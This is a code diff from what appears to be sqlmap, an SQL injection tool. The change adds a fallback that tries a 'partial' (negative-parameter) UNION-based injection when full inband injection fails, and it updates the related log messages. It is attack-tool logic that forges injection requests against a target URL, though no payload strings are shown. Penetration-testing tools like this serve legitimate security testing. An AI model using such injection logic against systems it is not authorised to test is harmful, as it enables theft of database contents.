4040from lib .techniques .inband .union .test import unionTest
4141
4242
43- def __unionPosition (count , expression ):
44- logMsg = "confirming inband sql injection on parameter "
43+ def __unionPosition (count , expression , negative = False ):
44+ if negative :
45+ negLogMsg = "partial"
46+ else :
47+ negLogMsg = "full"
48+
49+ logMsg = "confirming %s inband sql injection on parameter " % negLogMsg
4550 logMsg += "'%s'" % kb .injParameter
4651 logger .info (logMsg )
4752
@@ -63,7 +68,7 @@ def __unionPosition(count, expression):
6368
6469 # Forge the inband SQL injection request
6570 query = agent .forgeInbandQuery (randQueryUnescaped , exprPosition )
66- payload = agent .payload (newValue = query )
71+ payload = agent .payload (newValue = query , negative = negative )
6772
6873 # Perform the request
6974 resultPage = Request .queryPage (payload , content = True )
@@ -82,13 +87,16 @@ def __unionPosition(count, expression):
8287
8388 if isinstance (kb .unionPosition , int ):
8489 logMsg = "the target url is affected by an exploitable "
85- logMsg += "inband sql injection vulnerability"
90+ logMsg += "%s inband sql injection vulnerability" % negLogMsg
8691 logger .info (logMsg )
8792 else :
8893 warnMsg = "the target url is not affected by an exploitable "
89- warnMsg += "inband sql injection vulnerability, sqlmap will "
90- warnMsg += "retrieve the expression output through blind sql "
91- warnMsg += "injection technique"
94+ warnMsg += "%s inband sql injection vulnerability" % negLogMsg
95+
96+ if negLogMsg == "partial" :
97+ warnMsg += ", sqlmap will retrieve the expression output "
98+ warnMsg += "through blind sql injection technique"
99+
92100 logger .warn (warnMsg )
93101
94102 return count
@@ -101,9 +109,9 @@ def unionUse(expression):
101109 inband SQL injection on the affected url
102110 """
103111
104- count = 0
112+ count = 0
105113 origExpr = expression
106- start = time .time ()
114+ start = time .time ()
107115
108116 if not kb .unionCount :
109117 unionTest ()
@@ -120,10 +128,21 @@ def unionUse(expression):
120128 if not isinstance (kb .unionPosition , int ):
121129 count = __unionPosition (count , expression )
122130
123- # Assure that the above function found the exploitable inband
131+ # Assure that the above function found the exploitable full inband
124132 # SQL injection position
125133 if not isinstance (kb .unionPosition , int ):
126- return
134+ count = __unionPosition (count , expression , True )
135+
136+ # Assure that the above function found the exploitable partial
137+ # inband SQL injection position
138+ if not isinstance (kb .unionPosition , int ):
139+ return
140+ else :
141+ conf .paramNegative = True
142+
143+ # TODO: if conf.paramNegative == True and query can returns multiple
144+ # entries, get once per time in a for cycle, see lib/request/inject.py
145+ # like for --sql-query and --sql-shell
127146
128147 # Forge the inband SQL injection request
129148 query = agent .forgeInbandQuery (expression )
0 commit comments